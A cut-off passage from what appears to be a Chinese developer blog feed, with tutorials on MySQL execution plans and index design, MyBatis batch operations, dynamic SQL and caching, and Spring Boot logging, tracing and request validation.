SELECT * FROM orders 
WHERE status = 'PAID' 
ORDER BY created_at DESC 
LIMIT 20;

-- 执行计划显示
-- type: ALL
-- Extra: Using where; Using filesort

优化方案：

-- 创建索引
CREATE INDEX idx_status_time ON orders(status, created_at DESC);

-- 优化后的执行计划
-- type: range
-- key: idx_status_time
-- Extra: Backward index scan

常见问题排查

问题 1：type 是 ALL（全表扫描）

-- 原因：没有合适的索引
EXPLAIN SELECT * FROM orders WHERE amount > 100;

-- 解决方案：创建索引
CREATE INDEX idx_amount ON orders(amount);

问题 2：Extra 出现 Using filesort

-- 原因：排序字段不在索引中
EXPLAIN SELECT * FROM orders WHERE user_id = 1001 ORDER BY amount;

-- 解决方案：创建包含排序字段的索引
CREATE INDEX idx_user_amount ON orders(user_id, amount);

问题 3：Extra 出现 Using temporary

-- 原因：GROUP BY 字段没有索引
EXPLAIN SELECT user_id, COUNT(*) FROM orders GROUP BY user_id;

-- 解决方案：创建索引
CREATE INDEX idx_user_id ON orders(user_id);

总结

看执行计划的顺序：

  1. 先看 type，确保不是 ALL 或 index
  2. 再看 key，确认是否使用了正确的索引
  3. 最后看 Extra，避免 filesort 和 temporary

写这篇文章时，我特意整理了几个线上慢查询的案例。理解执行计划是 SQL 优化的基本功，多分析多实践才能真正掌握。

]]> MySQL SQL MySQL优化 MySQL 索引设计：核心原则与实战技巧 //mysql-suo-yin-she-ji-de-ji-ge-he-xin-yuan-ze/ MySQL 索引设计：核心原则与实战技巧

MySQL 是业务系统中最常见的数据库，但用好它并不容易。索引设计、SQL 优化、事务处理都是日常开发中需要关注的点。本文从实际场景出发，讲常见问题和解决思路。

原则一：最左前缀原则

联合索引的最左列必须出现在查询条件中：

-- 创建联合索引
CREATE INDEX idx_user_status_time 
ON orders(user_id, status, created_at);

-- ✅ 有效：使用了最左列 user_id
SELECT * FROM orders WHERE user_id = 1001;

-- ✅ 有效：使用了 user_id + status
SELECT * FROM orders WHERE user_id = 1001 AND status = 'PAID';

-- ✅ 有效：使用了全部三列
SELECT * FROM orders WHERE user_id = 1001 AND status = 'PAID' ORDER BY created_at;

-- ❌ 无效：没有使用最左列
SELECT * FROM orders WHERE status = 'PAID';

-- ❌ 无效：跳过了中间列
SELECT * FROM orders WHERE user_id = 1001 AND created_at > '2024-01-01';

原则二：选择区分度高的列

区分度 = 不同值的数量 / 总行数

-- ❌ 区分度低，不适合建索引
CREATE INDEX idx_status ON orders(status); -- status 只有几种状态

-- ✅ 区分度高，适合建索引
CREATE INDEX idx_email ON users(email); -- email 几乎唯一

原则三：索引列上避免函数操作

-- ❌ 索引失效：在索引列上使用函数
SELECT * FROM orders WHERE DATE(create_time) = '2024-01-01';

-- ✅ 使用索引：条件可以下推
SELECT * FROM orders WHERE create_time >= '2024-01-01 00:00:00' 
                       AND create_time < '2024-01-02 00:00:00';

-- ❌ 索引失效：隐式类型转换
SELECT * FROM users WHERE id = '123'; -- id 是整数，查询用字符串

-- ✅ 使用索引：类型一致
SELECT * FROM users WHERE id = 123;

原则四：只索引需要的列

-- ❌ 覆盖过多列，索引太大
CREATE INDEX idx_all_columns ON orders(user_id, status, amount, create_time, ...);

-- ✅ 只索引需要的列
CREATE INDEX idx_user_status ON orders(user_id, status);

原则五：利用覆盖索引

如果查询只需要索引中的列，就不需要回表：

-- 创建覆盖索引
CREATE INDEX idx_user_status_amount ON orders(user_id, status, amount);

-- ✅ 覆盖索引：查询列都在索引中
SELECT amount FROM orders WHERE user_id = 1001 AND status = 'PAID';

-- ❌ 需要回表：查询了不在索引中的列
SELECT * FROM orders WHERE user_id = 1001 AND status = 'PAID';

原则六：合理使用前缀索引

对于长字符串，可以只索引前几个字符：

-- ❌ 索引太大
CREATE INDEX idx_full_name ON users(name);

-- ✅ 使用前缀索引
CREATE INDEX idx_name_prefix ON users(name(10)); -- 只索引前10个字符

原则七：定期维护索引

-- 查看索引使用情况
SELECT * FROM sys.schema_unused_indexes;

-- 分析索引碎片
ANALYZE TABLE orders;

-- 重建索引
ALTER TABLE orders ENGINE=InnoDB;

-- 删除无用索引
DROP INDEX idx_unused ON orders;

常见误区

#

误区一：索引越多越好

-- ❌ 太多索引会影响写入性能
CREATE INDEX idx_user_id ON orders(user_id);
CREATE INDEX idx_status ON orders(status);
CREATE INDEX idx_create_time ON orders(create_time);
-- ... 更多索引

-- ✅ 按需创建索引，优先使用联合索引
CREATE INDEX idx_user_status_time ON orders(user_id, status, create_time);

#

误区二：对所有查询都建索引

-- ❌ 对于不常执行的查询，没必要建索引
SELECT * FROM orders WHERE amount > 10000 AND status = 'REFUNDED'; -- 很少执行

-- ✅ 只为常用查询建索引
SELECT * FROM orders WHERE user_id = ? AND status = ?; -- 高频查询

#

误区三：忽略排序和分组

-- ❌ 排序导致文件排序
SELECT * FROM orders WHERE user_id = 1001 ORDER BY create_time;

-- ✅ 索引包含排序字段
CREATE INDEX idx_user_time ON orders(user_id, create_time);

实战案例

场景：优化订单列表查询

-- 原始查询
SELECT * FROM orders 
WHERE user_id = 1001 AND status = 'PAID' 
ORDER BY create_time DESC 
LIMIT 20;

-- 创建合适的索引
CREATE INDEX idx_user_status_time ON orders(user_id, status, create_time DESC);

验证：

EXPLAIN SELECT * FROM orders 
WHERE user_id = 1001 AND status = 'PAID' 
ORDER BY create_time DESC 
LIMIT 20;

查看执行计划：

  • type：ref（非唯一索引扫描）
  • key：idx_user_status_time（命中索引）
  • Extra：Using index condition; Backward index scan（使用索引条件和反向扫描）

总结

索引设计需要综合考虑：

  1. 查询模式：哪些查询是高频的
  2. 数据分布：区分度、数据量
  3. 读写比例：写多的表不宜建太多索引
  4. 维护成本：定期分析和重建索引

写这篇文章时，我特意翻了几个项目的数据库设计，发现很多索引都是冗余的。合理的索引设计能显著提升查询性能，但过度索引反而会影响写入性能。

核心要点

  1. 索引设计的原则：最左前缀原则、避免索引列参与计算、选择合适的索引类型

  2. SQL 优化的方法：使用 EXPLAIN 分析执行计划、避免 SELECT *、优化 JOIN

  3. 事务隔离级别的选择：根据业务需求选择合适的级别

  4. 常见的锁问题：行锁、表锁、死锁的处理

总结

MySQL 优化是一个持续的过程，需要结合业务特点和数据量来调整。在实际项目中，定期分析慢查询日志、优化索引、调整配置参数，都能提升数据库性能。

]]> MySQL SQL MySQL优化 MyBatis 批量操作：性能优化实战 //mybatis-pi-liang-cha-ru-he-xing-neng-you-hua/ MyBatis 批量操作：性能优化实战

MyBatis 把 SQL 的控制权交给开发者，这是它的优点也是它的难点。动态 SQL、缓存机制、参数处理都是需要掌握的知识点。本文讲实际项目中的使用经验和优化技巧。

批量插入

#

方式一：使用 foreach 标签

<insert id="batchInsert">
    INSERT INTO users (username, email, created_at)
    VALUES
    <foreach collection="list" item="item" separator=",">
        (#{item.username}, #{item.email}, #{item.createdAt})
    </foreach>
</insert>

Java 代码：

public interface UserMapper {
    void batchInsert(@Param("list") List<User> users);
}

// 使用
List<User> users = new ArrayList<>();
// 添加用户...
userMapper.batchInsert(users);

优点：一次 SQL 插入多条记录
缺点：SQL 长度有限制，大批量数据需要分批

#

方式二：分批插入

public void batchInsert(List<User> users) {
    int batchSize = 1000;
    for (int i = 0; i < users.size(); i += batchSize) {
        int end = Math.min(i + batchSize, users.size());
        List<User> batch = users.subList(i, end);
        userMapper.batchInsert(batch);
    }
}

建议：根据数据库配置调整 batchSize，通常 1000-5000 比较合适。

批量更新

#

方式一：使用 CASE WHEN

<update id="batchUpdate">
    UPDATE users 
    SET 
        username = CASE id 
            <foreach collection="list" item="item" separator=" ">
                WHEN #{item.id} THEN #{item.username}
            </foreach>
        END,
        email = CASE id 
            <foreach collection="list" item="item" separator=" ">
                WHEN #{item.id} THEN #{item.email}
            </foreach>
        END
    WHERE id IN 
    <foreach collection="list" item="item" open="(" separator="," close=")">
        #{item.id}
    </foreach>
</update>

#

方式二：使用 ExecutorType.BATCH

SqlSession session = sqlSessionFactory.openSession(ExecutorType.BATCH);
UserMapper mapper = session.getMapper(UserMapper.class);

for (User user : users) {
    mapper.update(user);
}

session.commit();
session.close();

优点：将多个更新语句打包发送
缺点：不返回更新行数

批量删除

<delete id="batchDelete">
    DELETE FROM users WHERE id IN
    <foreach collection="ids" item="id" open="(" separator="," close=")">
        #{id}
    </foreach>
</delete>

Java 代码：

public interface UserMapper {
    void batchDelete(@Param("ids") List<Long> ids);
}

性能优化技巧

#

1. 关闭自动提交

SqlSession session = sqlSessionFactory.openSession(false);
// 执行批量操作
session.commit();

#

2. 使用合适的批次大小

// 根据数据大小调整
int batchSize = 1000; // 一般 1000-5000 比较合适

#

3. 禁用二级缓存

// 在批量操作期间禁用二级缓存
@Options(useCache = false, flushCache = Options.FlushCachePolicy.TRUE)
void batchInsert(@Param("list") List<User> users);

#

4. 使用 JDBC 批处理

mybatis:
  configuration:
    default-executor-type: batch

#

5. 考虑使用原生 JDBC

try (Connection conn = getConnection()) {
    String sql = "INSERT INTO users (username, email) VALUES (?, ?)";
    PreparedStatement ps = conn.prepareStatement(sql);
    
    for (User user : users) {
        ps.setString(1, user.getUsername());
        ps.setString(2, user.getEmail());
        ps.addBatch();
        
        if (++count % batchSize == 0) {
            ps.executeBatch();
        }
    }
    ps.executeBatch();
}

实战案例

#

案例：批量导入用户数据

@Service
public class UserService {
    
    private final UserMapper userMapper;
    private static final int BATCH_SIZE = 1000;
    
    public UserService(UserMapper userMapper) {
        this.userMapper = userMapper;
    }
    
    @Transactional
    public void importUsers(List<User> users) {
        int total = users.size();
        int batches = (total + BATCH_SIZE - 1) / BATCH_SIZE;
        
        for (int i = 0; i < batches; i++) {
            int start = i * BATCH_SIZE;
            int end = Math.min(start + BATCH_SIZE, total);
            List<User> batch = users.subList(start, end);
            
            userMapper.batchInsert(batch);
            
            log.info("已导入 {}/{} 条用户数据", end, total);
        }
    }
}

注意事项

#

1. 事务管理

@Transactional // 确保批量操作在一个事务中
public void batchOperation(List<Data> dataList) {
    // 执行批量操作
}

#

2. 错误处理

@Transactional(rollbackFor = Exception.class)
public void batchInsert(List<User> users) {
    try {
        // 执行批量插入
    } catch (Exception e) {
        log.error("批量插入失败", e);
        throw new BusinessException("批量插入失败");
    }
}

#

3. 数据校验

public void batchInsert(List<User> users) {
    // 在插入前校验数据
    for (User user : users) {
        validateUser(user);
    }
    
    userMapper.batchInsert(users);
}

总结

MyBatis 批量操作的关键是：

  1. 使用 foreach 标签构建批量 SQL
  2. 合理设置批次大小
  3. 关闭自动提交，手动管理事务
  4. 根据数据量选择合适的方式

写这篇文章时，我特意做了性能测试。在大批量数据场景下，批量操作的性能比单条插入提升了几十倍。希望这些实践能帮到你。

核心要点

  1. 动态 SQL 的常用标签：if、where、choose、foreach

  2. 一级缓存和二级缓存的区别及使用场景

  3. 参数处理：#{} 和 ${} 的区别，防止 SQL 注入

  4. 批量操作的优化：使用 foreach 或 ExecutorType.BATCH

总结

MyBatis 是一个灵活的 ORM 框架，掌握它的核心特性可以提升开发效率。在实际项目中，合理使用缓存和批量操作可以显著提升性能。

]]> MyBatis JAVA MyBatis MyBatis 动态 SQL 实战：优雅处理复杂查询 //mybatis-dong-tai-sql-de-zheng-que-xie-fa/ MyBatis 动态 SQL 实战：优雅处理复杂查询

MyBatis 把 SQL 的控制权交给开发者，这是它的优点也是它的难点。动态 SQL、缓存机制、参数处理都是需要掌握的知识点。本文讲实际项目中的使用经验和优化技巧。

基础用法：if 标签

最常用的场景是根据条件动态添加查询条件：

<select id="listUsers" resultType="com.example.User">
    SELECT id, username, email, create_time
    FROM user
    <where>
        <if test="username != null and username != ''">
            AND username LIKE CONCAT('%', #{username}, '%')
        </if>
        <if test="email != null and email != ''">
            AND email = #{email}
        </if>
        <if test="startTime != null">
            AND create_time >= #{startTime}
        </if>
        <if test="endTime != null">
            AND create_time <= #{endTime}
        </if>
    </where>
    ORDER BY create_time DESC
</select>

注意：where 标签会自动处理多余的 AND 或 OR，避免 SQL 语法错误。

分支选择：choose 标签

类似 Java 的 switch-case，只执行第一个匹配的条件：

<select id="getUser" resultType="com.example.User">
    SELECT id, username, email
    FROM user
    <where>
        <choose>
            <when test="id != null">
                AND id = #{id}
            </when>
            <when test="username != null and username != ''">
                AND username = #{username}
            </when>
            <otherwise>
                AND status = 1
            </otherwise>
        </choose>
    </where>
</select>

批量操作：foreach 标签

处理集合类型的参数非常方便：

<!-- 批量查询 -->
<select id="listByIds" resultType="com.example.User">
    SELECT id, username, email
    FROM user
    WHERE id IN
    <foreach collection="ids" item="id" open="(" separator="," close=")">
        #{id}
    </foreach>
</select>

<!-- 批量插入 -->
<insert id="batchInsert">
    INSERT INTO user (username, email)
    VALUES
    <foreach collection="list" item="item" separator=",">
        (#{item.username}, #{item.email})
    </foreach>
</insert>

collection 属性：

  • 数组：collection="array"
  • List：collection="list"
  • 自定义参数名：collection="ids"（配合 @Param）

set 标签：动态更新

更新操作时，避免更新 null 值：

<update id="updateUser">
    UPDATE user
    <set>
        <if test="username != null and username != ''">
            username = #{username},
        </if>
        <if test="email != null and email != ''">
            email = #{email},
        </if>
        <if test="status != null">
            status = #{status},
        </if>
    </set>
    WHERE id = #{id}
</update>

set 标签会自动移除最后一个逗号。

trim 标签：自定义处理

当 where 和 set 不能满足需求时，可以用 trim：

<trim prefix="WHERE" prefixOverrides="AND |OR ">
    <!-- 内容 -->
</trim>

常用属性：

  • prefix：在内容前添加的字符串
  • prefixOverrides：移除内容开头的指定字符串
  • suffix：在内容后添加的字符串
  • suffixOverrides：移除内容结尾的指定字符串

SQL 片段：重复使用

把常用的 SQL 片段抽出来复用：

<sql id="userColumns">
    id, username, email, status, create_time, update_time
</sql>

<select id="getUser" resultType="com.example.User">
    SELECT <include refid="userColumns"/>
    FROM user
    WHERE id = #{id}
</select>

实战建议

#

1. 始终使用 #{} 而非 ${}

<!-- 正确 -->
WHERE username = #{username}

<!-- 危险！可能导致 SQL 注入 -->
WHERE username = '${username}'

#{} 会预编译，${} 直接拼接字符串。

#

2. 日志调试

开启 SQL 日志，方便排查问题：

mybatis:
  configuration:
    log-impl: org.apache.ibatis.logging.stdout.StdOutImpl

#

3. 复杂查询配合注解

简单 SQL 可以用注解，复杂 SQL 建议用 XML：

@Select("SELECT * FROM user WHERE id = #{id}")
User selectById(Long id);

总结

MyBatis 的动态 SQL 功能非常强大，能优雅地处理各种复杂查询场景。关键是要理解每个标签的作用，合理组合使用。实际项目中，我通常会把复杂的查询逻辑写在 XML 中，简单的 CRUD 用注解，这样代码既清晰又易于维护。

写这篇文章时，我特意回顾了项目中的一些动态 SQL 写法，发现很多地方可以优化。技术就是这样，不断学习才能进步。

核心要点

  1. 动态 SQL 的常用标签：if、where、choose、foreach

  2. 一级缓存和二级缓存的区别及使用场景

  3. 参数处理：#{} 和 ${} 的区别，防止 SQL 注入

  4. 批量操作的优化：使用 foreach 或 ExecutorType.BATCH

总结

MyBatis 是一个灵活的 ORM 框架，掌握它的核心特性可以提升开发效率。在实际项目中，合理使用缓存和批量操作可以显著提升性能。

]]> MyBatis JAVA MyBatis MyBatis 缓存机制：一级缓存和二级缓存详解 //mybatis-yi-ji-huan-cun-he-er-ji-huan-cun-zen-me-li-jie/ MyBatis 缓存机制：一级缓存和二级缓存详解

MyBatis 把 SQL 的控制权交给开发者，这是它的优点也是它的难点。动态 SQL、缓存机制、参数处理都是需要掌握的知识点。本文讲实际项目中的使用经验和优化技巧。

一级缓存：SqlSession 级别

一级缓存是默认开启的，它的作用域是 SqlSession：

SqlSession session = sqlSessionFactory.openSession();
UserMapper mapper = session.getMapper(UserMapper.class);

// 第一次查询，执行 SQL
User user1 = mapper.selectById(1L);

// 第二次查询，使用缓存，不执行 SQL
User user2 = mapper.selectById(1L);

session.close(); // 缓存失效

特点：

  • 默认开启，无需额外配置
  • 作用域是当前 SqlSession
  • 增删改操作会清空缓存
  • 不同 SqlSession 之间不共享缓存

二级缓存：Mapper 级别

二级缓存需要手动开启，作用域是整个 Mapper：

// 在 Mapper 接口上添加注解
@CacheNamespace
public interface UserMapper {
    User selectById(@Param("id") Long id);
}

或者在 XML 中配置：

<cache/>

<select id="selectById" resultType="com.example.User">
    SELECT id, username, email FROM user WHERE id = #{id}
</select>

特点：

  • 需要手动开启
  • 作用域是整个 Mapper（多个 SqlSession 共享）
  • 默认使用 PerpetualCache（内存缓存）
  • 可以配置第三方缓存（如 Redis）

缓存执行流程

查询请求
    ↓
是否命中二级缓存？
    ↓ 是
    返回缓存数据
    ↓ 否
是否命中一级缓存？
    ↓ 是
    返回缓存数据
    ↓ 否
    执行 SQL 查询
    ↓
    更新一级缓存
    ↓
    提交事务时更新二级缓存

二级缓存配置详解

<cache
    eviction="LRU"        <!-- 淘汰策略：LRU/FIFO/SOFT/WEAK -->
    flushInterval="60000" <!-- 刷新间隔（毫秒） -->
    size="512"            <!-- 最大缓存条目数 -->
    readOnly="false"      <!-- 是否只读 -->
/>

淘汰策略：

  • LRU（最近最少使用）：移除最长时间不使用的对象
  • FIFO（先进先出）：按添加顺序移除对象
  • SOFT（软引用）：基于垃圾回收状态和软引用规则移除
  • WEAK（弱引用）：更积极地基于垃圾回收状态和弱引用规则移除

使用第三方缓存

MyBatis 支持集成第三方缓存，比如 Redis：

<cache type="org.mybatis.caches.redis.RedisCache">
    <property name="host" value="localhost"/>
    <property name="port" value="6379"/>
</cache>

需要添加依赖：

<dependency>
    <groupId>org.mybatis.caches</groupId>
    <artifactId>mybatis-redis</artifactId>
    <version>1.0.0-beta2</version>
</dependency>

注意事项

#

1. 缓存与数据一致性

// 更新操作会清空缓存
@Update("UPDATE user SET username = #{username} WHERE id = #{id}")
void update(User user);

#

2. 关联查询的缓存问题

如果多个表关联查询，修改其中一个表的数据时，缓存可能不一致。

#

3. 分布式环境下的缓存同步

在分布式环境中，多个节点的二级缓存需要额外的同步机制。

#

4. 缓存穿透问题

// 对于频繁查询但不常变化的数据，适合缓存
@Select("SELECT * FROM config WHERE key = #{key}")
Config getConfig(String key);

实战建议

  1. 默认使用一级缓存：简单有效，无需额外配置
  2. 二级缓存按需开启：对于查询频繁、修改较少的数据
  3. 考虑使用 Redis 作为二级缓存：支持分布式环境
  4. 注意缓存与数据库的一致性：避免脏数据
  5. 定期清理缓存：防止内存溢出

总结

MyBatis 的缓存机制能有效提升查询性能，但需要合理使用。一级缓存是基础，二级缓存需要根据业务场景选择。在分布式环境下，建议使用 Redis 等分布式缓存。

写这篇文章时，我特意做了几个测试验证缓存行为。发现二级缓存的配置确实需要根据实际情况调整，不是所有场景都适合开启。

核心要点

  1. 动态 SQL 的常用标签：if、where、choose、foreach

  2. 一级缓存和二级缓存的区别及使用场景

  3. 参数处理：#{} 和 ${} 的区别，防止 SQL 注入

  4. 批量操作的优化：使用 foreach 或 ExecutorType.BATCH

总结

MyBatis 是一个灵活的 ORM 框架，掌握它的核心特性可以提升开发效率。在实际项目中，合理使用缓存和批量操作可以显著提升性能。

]]> MyBatis JAVA MyBatis Spring Boot 日志配置与链路追踪：完整指南 //spring-boot-ri-zhi-pei-zhi-he-lian-lu-pai-cha/ Spring Boot 日志配置与链路追踪：完整指南

日志是排查问题的重要工具，合理配置日志能大大提升问题定位效率。今天分享一下 Spring Boot 日志配置的最佳实践。

日志配置基础

1. 配置文件方式

在 application.yml 中配置日志：

logging:
  level:
    root: INFO
    com.example: DEBUG
    org.springframework.web: INFO
    org.hibernate.SQL: DEBUG
  
  pattern:
    console: "%d{yyyy-MM-dd HH:mm:ss.SSS} [%thread] %-5level %logger{36} - %msg%n"
    file: "%d{yyyy-MM-dd HH:mm:ss.SSS} [%thread] %-5level %logger{36} - %msg%n"
  
  file:
    name: logs/app.log
    max-size: 10MB
    max-history: 30
    total-size-cap: 1GB

2. 日志级别

logging:
  level:
    # 全局级别
    root: INFO
    # 特定包级别
    com.example.controller: DEBUG
    com.example.service: INFO
    # 框架级别
    org.springframework: WARN
    com.zaxxer.hikari: DEBUG

3. 输出格式

logging:
  pattern:
    console: "%d{yyyy-MM-dd HH:mm:ss.SSS} [%thread] [%X{traceId}] %-5level %logger{36} - %msg%n"

格式说明：

  • %d：日期时间
  • %thread：线程名
  • %level：日志级别
  • %logger：日志记录器名称
  • %msg：日志消息
  • %X{traceId}：MDC 变量（用于链路追踪）

自定义日志配置

1. 使用 logback-spring.xml

创建 src/main/resources/logback-spring.xml：

<?xml version="1.0" encoding="UTF-8"?>
<configuration>
    <property name="LOG_PATH" value="logs"/>
    <property name="APP_NAME" value="my-app"/>
    
    <!-- 控制台输出 -->
    <appender name="CONSOLE" class="ch.qos.logback.core.ConsoleAppender">
        <encoder>
            <pattern>%d{yyyy-MM-dd HH:mm:ss.SSS} [%thread] [%X{traceId}] %-5level %logger{36} - %msg%n</pattern>
        </encoder>
    </appender>
    
    <!-- 文件输出 -->
    <appender name="FILE" class="ch.qos.logback.core.rolling.RollingFileAppender">
        <file>${LOG_PATH}/${APP_NAME}.log</file>
        <rollingPolicy class="ch.qos.logback.core.rolling.SizeAndTimeBasedRollingPolicy">
            <fileNamePattern>${LOG_PATH}/${APP_NAME}.%d{yyyy-MM-dd}.%i.log</fileNamePattern>
            <maxFileSize>10MB</maxFileSize>
            <maxHistory>30</maxHistory>
            <totalSizeCap>1GB</totalSizeCap>
        </rollingPolicy>
        <encoder>
            <pattern>%d{yyyy-MM-dd HH:mm:ss.SSS} [%thread] [%X{traceId}] %-5level %logger{36} - %msg%n</pattern>
        </encoder>
    </appender>
    
    <!-- 异步日志 -->
    <appender name="ASYNC_FILE" class="ch.qos.logback.classic.AsyncAppender">
        <appender-ref ref="FILE"/>
        <queueSize>1024</queueSize>
        <discardingThreshold>0</discardingThreshold>
        <includeCallerData>false</includeCallerData>
    </appender>
    
    <logger name="com.example" level="DEBUG"/>
    <logger name="org.springframework" level="INFO"/>
    <logger name="com.zaxxer.hikari" level="DEBUG"/>
    
    <root level="INFO">
        <appender-ref ref="CONSOLE"/>
        <appender-ref ref="ASYNC_FILE"/>
    </root>
</configuration>

2. 按环境配置

<springProfile name="dev">
    <logger name="com.example" level="DEBUG"/>
</springProfile>

<springProfile name="prod">
    <logger name="com.example" level="INFO"/>
</springProfile>

链路追踪

1. 添加依赖

<dependency>
    <groupId>org.springframework.boot</groupId>
    <artifactId>spring-boot-starter-web</artifactId>
</dependency>
<dependency>
    <groupId>org.springframework.cloud</groupId>
    <artifactId>spring-cloud-starter-sleuth</artifactId>
</dependency>

2. 配置 MDC

@Component
public class TraceFilter implements Filter {
    
    @Override
    public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) 
            throws IOException, ServletException {
        String traceId = UUID.randomUUID().toString();
        MDC.put("traceId", traceId);
        
        try {
            chain.doFilter(request, response);
        } finally {
            MDC.remove("traceId");
        }
    }
}

3. 使用日志记录

@Service
public class UserService {
    
    private static final Logger logger = LoggerFactory.getLogger(UserService.class);
    
    public UserDTO detail(Long id) {
        logger.info("查询用户详情，ID: {}", id);
        
        try {
            User user = userRepository.findById(id)
                .orElseThrow(() -> ResourceNotFoundException.of("用户", id));
            
            logger.debug("查询到用户: {}", user);
            return convertToDTO(user);
        } catch (Exception e) {
            logger.error("查询用户失败，ID: {}", id, e);
            throw e;
        }
    }
}

日志排查技巧

1. 搜索日志

# 搜索特定 traceId
grep "traceId=abc123" logs/app.log

# 搜索错误日志
grep "ERROR" logs/app.log

# 搜索特定用户的日志
grep "用户ID: 1001" logs/app.log

2. 分析慢查询

# 查找执行时间长的操作
grep -E "执行耗时.*[0-9]+ms" logs/app.log | sort -k 3 -r

3. 监控日志级别

// 动态调整日志级别
@RestController
@RequestMapping("/log")
public class LogController {
    
    @PostMapping("/level")
    public void setLogLevel(@RequestParam String loggerName, @RequestParam String level) {
        LoggerContext ctx = (LoggerContext) LoggerFactory.getILoggerFactory();
        Logger logger = ctx.getLogger(loggerName);
        ((ch.qos.logback.classic.Logger) logger).setLevel(Level.toLevel(level));
    }
}

实战建议

1. 生产环境日志配置

logging:
  level:
    root: INFO
    com.example: INFO
  file:
    name: logs/app.log
    max-size: 50MB
    max-history: 30
  pattern:
    file: "%d{yyyy-MM-dd HH:mm:ss.SSS} [%thread] [%X{traceId}] %-5level %logger{36} - %msg%n"

2. 避免日志滥用

// ❌ 不要在循环中记录日志
for (User user : users) {
    logger.debug("处理用户: {}", user); // 可能产生大量日志
}

// ✅ 合理控制日志
logger.info("开始处理 {} 个用户", users.size());
for (User user : users) {
    // 业务逻辑
}
logger.info("处理完成");

3. 日志脱敏

// 敏感信息不要直接打印
logger.info("用户登录: username={}, ip={}", mask(username), ip);

总结

日志配置的关键是：

  1. 合理设置日志级别，生产环境避免过多 DEBUG 日志
  2. 配置日志滚动，防止日志文件过大
  3. 使用链路追踪，便于问题定位
  4. 注意日志性能，避免影响业务

写这篇文章时，我回顾了几个项目的日志配置。好的日志配置能大大提升问题排查效率，希望这些实践能帮到你。

]]> SpringBoot JAVA SpringBoot Spring Boot 参数校验与返回值封装：最佳实践 //spring-boot-can-shu-xiao-yan-he-fan-hui-zhi-feng-zhuang/ Spring Boot 参数校验与返回值封装：最佳实践

在 Spring Boot 项目中，参数校验和返回值封装是提升接口质量的重要环节。今天分享一下我的实践经验。

参数校验

1. 添加依赖

<dependency>
    <groupId>org.springframework.boot</groupId>
    <artifactId>spring-boot-starter-validation</artifactId>
</dependency>

2. 使用注解校验

@Data
public class CreateUserRequest {
    
    @NotBlank(message = "用户名不能为空")
    @Size(min = 3, max = 50, message = "用户名长度必须在3-50之间")
    private String username;
    
    @NotBlank(message = "邮箱不能为空")
    @Email(message = "邮箱格式不正确")
    private String email;
    
    @NotBlank(message = "密码不能为空")
    @Size(min = 6, message = "密码长度至少6位")
    private String password;
    
    @Min(value = 18, message = "年龄必须大于18")
    @Max(value = 100, message = "年龄不能超过100")
    private Integer age;
}

3. Controller 中启用校验

@RestController
@RequestMapping("/users")
public class UserController {
    
    private final UserService userService;
    
    public UserController(UserService userService) {
        this.userService = userService;
    }
    
    @PostMapping
    public ResponseEntity<UserDTO> createUser(@Valid @RequestBody CreateUserRequest request) {
        UserDTO user = userService.createUser(request);
        return ResponseEntity.status(HttpStatus.CREATED).body(user);
    }
}

4. 自定义校验注解

@Documented
@Constraint(validatedBy = PhoneValidator.class)
@Target({FIELD})
@Retention(RUNTIME)
public @interface Phone {
    String message() default "手机号格式不正确";
    Class<?>[] groups() default {};
    Class<? extends Payload>[] payload() default {};
}

public class PhoneValidator implements ConstraintValidator<Phone, String> {
    
    private static final Pattern PATTERN = Pattern.compile("^1[3-9]\\d{9}$");
    
    @Override
    public boolean isValid(String value, ConstraintValidatorContext context) {
        if (value == null || value.isEmpty()) {
            return true; // 使用 @NotBlank 处理必填
        }
        return PATTERN.matcher(value).matches();
    }
}

返回值封装

1. 统一响应格式

@Data
@Builder
@NoArgsConstructor
@AllArgsConstructor
public class ApiResponse<T> {
    
    private int code;
    private String message;
    private T data;
    private LocalDateTime timestamp;
    
    public static <T> ApiResponse<T> success(T data) {
        return ApiResponse.<T>builder()
            .code(200)
            .message("success")
            .data(data)
            .timestamp(LocalDateTime.now())
            .build();
    }
    
    public static <T> ApiResponse<T> success(String message, T data) {
        return ApiResponse.<T>builder()
            .code(200)
            .message(message)
            .data(data)
            .timestamp(LocalDateTime.now())
            .build();
    }
    
    public static <T> ApiResponse<T> error(int code, String message) {
        return ApiResponse.<T>builder()
            .code(code)
            .message(message)
            .timestamp(LocalDateTime.now())
            .build();
    }
}

2. 使用示例

@RestController
@RequestMapping("/users")
public class UserController {
    
    private final UserService userService;
    
    public UserController(UserService userService) {
        this.userService = userService;
    }
    
    @GetMapping("/{id}")
    public ApiResponse<UserDTO> getUser(@PathVariable Long id) {
        UserDTO user = userService.getUser(id);
        return ApiResponse.success(user);
    }
    
    @PostMapping
    public ApiResponse<UserDTO> createUser(@Valid @RequestBody CreateUserRequest request) {
        UserDTO user = userService.createUser(request);
        return ApiResponse.success("创建成功", user);
    }
}

3. 全局异常处理

@RestControllerAdvice
public class GlobalExceptionHandler {
    
    @ExceptionHandler(MethodArgumentNotValidException.class)
    public ApiResponse<Void> handleValidationException(MethodArgumentNotValidException ex) {
        String message = ex.getBindingResult().getFieldErrors().stream()
            .map(FieldError::getDefaultMessage)
            .collect(Collectors.joining(", "));
        
        return ApiResponse.error(400, message);
    }
    
    @ExceptionHandler(BusinessException.class)
    public ApiResponse<Void> handleBusinessException(BusinessException ex) {
        return ApiResponse.error(ex.getCode(), ex.getMessage());
    }
    
    @ExceptionHandler(Exception.class)
    public ApiResponse<Void> handleException(Exception ex) {
        log.error("系统异常", ex);
        return ApiResponse.error(500, "系统内部错误");
    }
}

分页响应封装

@Data
@Builder
@NoArgsConstructor
@AllArgsConstructor
public class PageResponse<T> {
    
    private List<T> items;
    private Long total;
    private Integer page;
    private Integer size;
    private Integer totalPages;
    
    public static <T> PageResponse<T> of(List<T> items, Long total, Integer page, Integer size) {
        int totalPages = (int) Math.ceil((double) total / size);
        return PageResponse.<T>builder()
            .items(items)
            .total(total)
            .page(page)
            .size(size)
            .totalPages(totalPages)
            .build();
    }
}

实战建议

1. 区分必填和可选字段

public class UpdateUserRequest {
    
    @Size(min = 3, max = 50, message = "用户名长度必须在3-50之间")
    private String username; // 可选
    
    @Email(message = "邮箱格式不正确")
    private String email; // 可选
    
    // 没有 @NotBlank，说明是可选字段
}

2. 自定义错误消息

public class CreateUserRequest {
    
    @NotBlank(message = "{validation.username.required}")
    private String username;
}

在 messages.properties 中配置：

validation.username.required=用户名不能为空

3. 避免过度封装

// ❌ 不要在 Controller 中重复封装
@GetMapping("/{id}")
public ApiResponse<UserDTO> getUser(@PathVariable Long id) {
    UserDTO user = userService.getUser(id);
    if (user == null) {
        return ApiResponse.error(404, "用户不存在"); // 应该在 Service 中抛出异常
    }
